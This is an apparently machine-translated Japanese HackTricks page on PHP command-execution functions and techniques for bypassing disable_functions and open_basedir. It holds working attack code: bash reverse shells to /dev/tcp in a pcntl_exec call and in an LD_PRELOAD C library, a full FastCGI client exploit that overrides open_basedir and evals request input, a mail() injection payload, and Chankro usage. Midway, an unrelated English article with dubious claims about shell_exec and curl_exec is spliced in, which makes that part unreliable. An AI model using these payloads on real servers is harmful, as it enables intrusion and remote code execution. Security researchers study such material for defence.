PHP - Useful Functions & disable_functions/open_basedir bypass

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

PHPコマンド&コード実行

PHPコマンド実行

注意: p0wny-shell php webshellは、以下の関数が無効になっている場合に自動的にチェックしてバイパスできます。

exec - コマンドの出力の最終行を返します

echo exec("uname  -a");

passthru - コマンドの出力をブラウザに直接渡す

echo passthru("uname -a");

system - コマンドの出力をブラウザに直接渡し、最後の行を返します

echo system("uname -a");

shell_exec - コマンドの出力を返します

echo shell_exec("uname -a");

``(バッククォート)- shell_exec()と同じ

echo `uname -a`

popen - コマンドのプロセスに対して読み取りまたは書き込みパイプを開きます

echo fread(popen("/bin/ls /", "r"), 4096);

proc_open - popen()と類似していますが、より高度な制御が可能

proc_close(proc_open("uname -a",array(),$something));

preg_replace

<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>

pcntl_exec - プログラムを実行します(現代のPHPでは、この関数を使用するためにはデフォルトでpcntl.soモジュールをロードする必要があります)

pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);

mail / mb_send_mail - この関数はメールを送信するために使用されますが、$options パラメータ内に任意のコマンドを挿入するために悪用されることがあります。これは、php mail 関数が通常システム内の sendmail バイナリを呼び出し、追加オプションを指定できるためです。ただし、実行されたコマンドの出力を見ることはできませんので、出力をファイルに書き込むシェルスクリプトを作成し、それを使用してメールを実行し、出力を表示することが推奨されます。

file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777);  mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');

dl - この関数はPHP拡張機能を動的にロードするために使用できます。この関数は常に存在するわけではないので、悪用しようとする前に利用可能かどうかを確認する必要があります。このページを読んで、この関数を悪用する方法を学んでください

PHPコードの実行

eval以外にもPHPコードを実行する方法があります: include/requireは、ローカルファイルインクルードおよびリモートファイルインクルードの形式でリモートコードを実行するために使用できます。

${<php code>}              // If your input gets reflected in any PHP string, it will be executed.
eval()
assert()                   //  identical to eval()
preg_replace('/.*/e',...)  // e does an eval() on the match
create_function()          // Create a function and use eval()
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);

$func = new ReflectionFunction($_GET['func_name']);
$func->invoke();
// or
$func->invokeArgs(array());

// or serialize/unserialize function

disable_functions & open_basedir

無効化された関数は、PHPの.iniファイルで設定できる設定で、指定された関数の使用を禁止するものです。Open basedirは、PHPにアクセスできるフォルダを示す設定です。 PHPの設定は、_ /etc/php7/conf.d_などのパスに構成する必要があります。

両方の構成は、**phpinfo()**の出力で確認できます:

open_basedir Bypass

open_basedirは、PHPがアクセスできるフォルダを構成します。これらのフォルダの外にあるファイルを書き込んだり/読み取ったり/実行したりすることはできませんが、他のディレクトリをリストすることもできません。 ただし、何らかの方法で任意のPHPコードを実行できる場合は、制限をバイパスしようと次のコードチャンクを試すことができます。

glob:// バイパスを使用したディレクトリのリスト表示

最初の例では、glob://プロトコルといくつかのパスバイパスが使用されています。

<?php
$file_list = array();
$it = new DirectoryIterator("glob:///v??/run/*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}

ノート1:パスでは、/e??/*を使用して/etc/*やその他のフォルダをリストすることもできます。 ノート2:コードの一部が重複しているように見えますが、実際には必要です! ノート3:この例はファイルを読むのではなく、フォルダをリストするためだけに有用です

FastCGIを悪用した完全なopen_basedirバイパス

PHP-FPMとFastCGIについて詳しく学びたい場合は、このページの最初のセクションを読んでください。 php-fpmが構成されている場合、それを悪用してopen_basedirを完全にバイパスできます:

最初にやるべきことは、php-fpmのunixソケットがどこにあるかを見つけることです。通常は/var/run以下にあるので、前述のコードを使用してディレクトリをリストし、それを見つけることができます。 ここからのコード

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
```php
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

このスクリプトは、通常は/var/runにあるphp-fpmのunixソケットと通信して、任意のコードを実行します。open_basedir設定は送信されるPHP_VALUE属性によって上書きされます。 evalcmdパラメータ内に送信されたPHPコードを実行するために使用されていることに注意してください。 また、コメントアウトされた324行目に注目してください。これをコメント解除すると、ペイロードは自動的に指定されたURLに接続してそこに含まれるPHPコードを実行します。 単にhttp://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');にアクセスすると、/etc/passwdファイルの内容を取得できます。

open_basedir構成を上書きしたようにdisable_functionsも上書きできると考えているかもしれません。試してみてくださいが、おそらく**disable_functions.ini php**構成ファイルでのみ構成でき、PHP_VALUEを使用して行う変更はこの特定の設定には有効にならないようです。

disable_functions バイパス

マシン内でPHPコードを実行できる場合、おそらく任意のシステムコマンドを実行したいと思うでしょう。この状況では、おそらくPHP システムコマンドを実行するためのほとんどまたはすべてのPHP関数がdisable_functionsで無効になっていることがわかります。 したがって、この制限をバイパスする方法を見てみましょう(できるなら)

自動バイパスの発見

https://github.com/teambi0s/dfunc-bypasserというツールを使用して、disable_functionsをバイパスするために使用できる関数(あれば)を示します。

他のシステム関数を使用したバイパス

このページの冒頭に戻り、コマンドを実行する関数が無効になっておらず、環境で利用可能かどうかを確認してください。1つ見つけると、それを使用して任意のシステムコマンドを実行できます。

LD_PRELOAD バイパス

mail()のようなPHPの一部の関数がシステム内のバイナリを実行することがよく知られています。したがって、LD_PRELOAD環境変数を使用して、任意のコードを実行できるライブラリを読み込ませることができます。

LD_PRELOADを使用してdisable_functionsをバイパスするために使用できる関数

  • mail

  • mb_send_mail: php-mbstringモジュールがインストールされている場合に有効です。

  • imap_mail: php-imapモジュールが存在する場合に機能します。

  • libvirt_connect: php-libvirt-phpモジュールが必要です。

  • gnupg_init: php-gnupgモジュールがインストールされている場合に利用可能です。

  • new imagick(): このクラスは制限をバイパスするために悪用できます。詳細なエクスプロイト技術は包括的なこちらの解説にあります。

これらの関数を見つけるために使用されたファジングスクリプトはこちらにあります。

以下は、LD_PRELOAD環境変数を悪用するためにコンパイルできるライブラリです:

#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>

uid_t getuid(void){
unsetenv("LD_PRELOAD");
system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
return 1;
}

Chankroを使用したバイパス

このミス構成を悪用するためには、Chankroを使用できます。これは、アップロードする必要のあるPHPエクスプロイトを生成するツールです(Web経由でアクセス)。 Chankroは、実行したいライブラリとリバースシェルを被害者のディスクに書き込み、**LD_PRELOADトリック + PHP mail()**関数を使用してリバースシェルを実行します。

Chankroを使用するには、disable_functionsリスト内にmailputenv含まれていてはいけません。 次の例では、arch 64向けのChankroエクスプロイトを作成し、whoamiを実行して出力を_tmp/chankro_shell.out_に保存します。Chankroはライブラリとペイロードを_tmpに書き込み、最終的なエクスプロイトbicho.phpと呼ばれます(これを被害者のサーバーにアップロードする必要があるファイルです):

#!/bin/sh
whoami > /tmp/chankro_shell.out

PHP Useful Functions - disable_functions & open_basedir Bypass

Introduction

In this article, we will discuss some PHP functions that can be used to bypass the disable_functions and open_basedir restrictions in PHP environments.

disable_functions Bypass

When the disable_functions directive is set in the PHP configuration, certain functions are disabled for security reasons. However, there are ways to bypass this restriction using functions that are not included in the disable_functions list.

One common technique is to use the shell_exec function to execute shell commands, as it is not always restricted by disable_functions. By leveraging this function, an attacker can execute arbitrary commands on the server.

open_basedir Bypass

The open_basedir directive restricts the files that PHP can access to the specified directory tree. However, there are methods to bypass this restriction as well.

One way to bypass open_basedir is by using the curl_exec function to make HTTP requests to external servers. Since curl_exec is not affected by open_basedir, an attacker can use this function to exfiltrate sensitive data or execute malicious code.

Conclusion

It is important for developers and system administrators to be aware of these bypass techniques in order to secure PHP applications effectively. By understanding how these functions can be abused, appropriate measures can be taken to mitigate the risks associated with disable_functions and open_basedir restrictions.

python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php

mail 関数が無効化されている場合、mb_send_mail 関数を使用することができるかもしれません。 このテクニックと Chankro についての詳細はこちら: https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/

PHP 機能を使用した "Bypass"

PHP を使用すると、ファイルの読み書き、ディレクトリの作成、権限の変更ができます。 さらにはデータベースのダンプも可能です。 PHP を使用してボックスを列挙することで、特権の昇格/コマンドの実行方法を見つけることができるかもしれません(たとえば、一部のプライベート ssh キーを読み取るなど)。

これらのアクションを簡単に実行できる Web シェルを作成しました(ほとんどの Web シェルもこのオプションを提供します): https://github.com/carlospolop/phpwebshelllimited

モジュール/バージョン依存のバイパス

特定のモジュールが使用されている場合や特定の PHP バージョンを悪用する場合、disable_functions をバイパスする方法がいくつかあります:

自動ツール

以下のスクリプトは、ここでコメントされているいくつかの方法を試みます: https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php

その他の興味深い PHP 関数

コールバックを受け入れる関数のリスト

これらの関数は、攻撃者が選択した関数を呼び出すために使用できる文字列パラメータを受け入れます。関数によっては、攻撃者がパラメータを渡す能力があるかどうかが異なります。その場合、phpinfo() のような情報開示関数を使用できます。

Callbacks / Callables

ここからのリスト

// Function => Position of callback arguments
'ob_start' => 0,
'array_diff_uassoc' => -1,
'array_diff_ukey' => -1,
'array_filter' => 1,
'array_intersect_uassoc' => -1,
'array_intersect_ukey' => -1,
'array_map' => 0,
'array_reduce' => 1,
'array_udiff_assoc' => -1,
'array_udiff_uassoc' => array(-1, -2),
'array_udiff' => -1,
'array_uintersect_assoc' => -1,
'array_uintersect_uassoc' => array(-1, -2),
'array_uintersect' => -1,
'array_walk_recursive' => 1,
'array_walk' => 1,
'assert_options' => 1,
'uasort' => 1,
'uksort' => 1,
'usort' => 1,
'preg_replace_callback' => 1,
'spl_autoload_register' => 0,
'iterator_apply' => 1,
'call_user_func' => 0,
'call_user_func_array' => 0,
'register_shutdown_function' => 0,
'register_tick_function' => 0,
'set_error_handler' => 0,
'set_exception_handler' => 0,
'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),
'sqlite_create_aggregate' => array(2, 3),
'sqlite_create_function' => 2,

情報開示

これらの関数呼び出しのほとんどはシンクではありません。むしろ、返されるデータのいずれかが攻撃者に見える場合には脆弱性となる可能性があります。攻撃者がphpinfo()を見ることができる場合、それは間違いなく脆弱性です。

phpinfo
posix_mkfifo
posix_getlogin
posix_ttyname
getenv
get_current_user
proc_get_status
get_cfg_var
disk_free_space
disk_total_space
diskfreespace
getcwd
getlastmo
getmygid
getmyinode
getmypid
getmyuid

その他

extract    // Opens the door for register_globals attacks (see study in scarlet).
parse_str  // works like extract if only one argument is given.
putenv
ini_set
mail       // has CRLF injection in the 3rd parameter, opens the door for spam.
header     // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_nice
proc_terminate
proc_close
pfsockopen
fsockopen
apache_child_terminate
posix_kill
posix_mkfifo
posix_setpgid
posix_setsid
posix_setuid

ファイルシステム関数

RATSによると、phpのすべてのファイルシステム関数は悪質です。これらのうちいくつかは、攻撃者にとってあまり役に立たないように見えるかもしれません。他のものは思っているよりも有用です。たとえば、allow_url_fopen=Onの場合、urlをファイルパスとして使用できるため、copy($_GET['s'], $_GET['d']);を呼び出すと、PHPスクリプトをシステムのどこにでもアップロードできます。また、サイトがGET経由で送信されたリクエストに対して脆弱である場合、これらのファイルシステム関数のすべてを悪用して、攻撃を別のホストにチャネル化することができます。

オープンファイルシステムハンドラ

fopen
tmpfile
bzopen
gzopen
SplFileObject->__construct

ファイルシステムに書き込む(一部は読み取りと組み合わせて)

chgrp
chmod
chown
copy
file_put_contents
lchgrp
lchown
link
mkdir
move_uploaded_file
rename
rmdir
symlink
tempnam
touch
unlink
imagepng     // 2nd parameter is a path.
imagewbmp    // 2nd parameter is a path.
image2wbmp   // 2nd parameter is a path.
imagejpeg    // 2nd parameter is a path.
imagexbm     // 2nd parameter is a path.
imagegif     // 2nd parameter is a path.
imagegd      // 2nd parameter is a path.
imagegd2     // 2nd parameter is a path.
iptcembed
ftp_get
ftp_nb_get
scandir

ファイルシステムから読み取る

file_exists
-- file_get_contents
file
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
glob
is_dir
is_executable
is_file
is_link
is_readable
is_uploaded_file
is_writable
is_writeable
linkinfo
lstat
parse_ini_file
pathinfo
readfile
readlink
realpath
stat
gzfile
readgzfile
getimagesize
imagecreatefromgif
imagecreatefromjpeg
imagecreatefrompng
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromxpm
ftp_put
ftp_nb_put
exif_read_data
read_exif_data
exif_thumbnail
exif_imagetype
hash_file
hash_hmac_file
hash_update_file
md5_file
sha1_file
-- highlight_file
-- show_source
php_strip_whitespace
get_meta_tags
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Last updated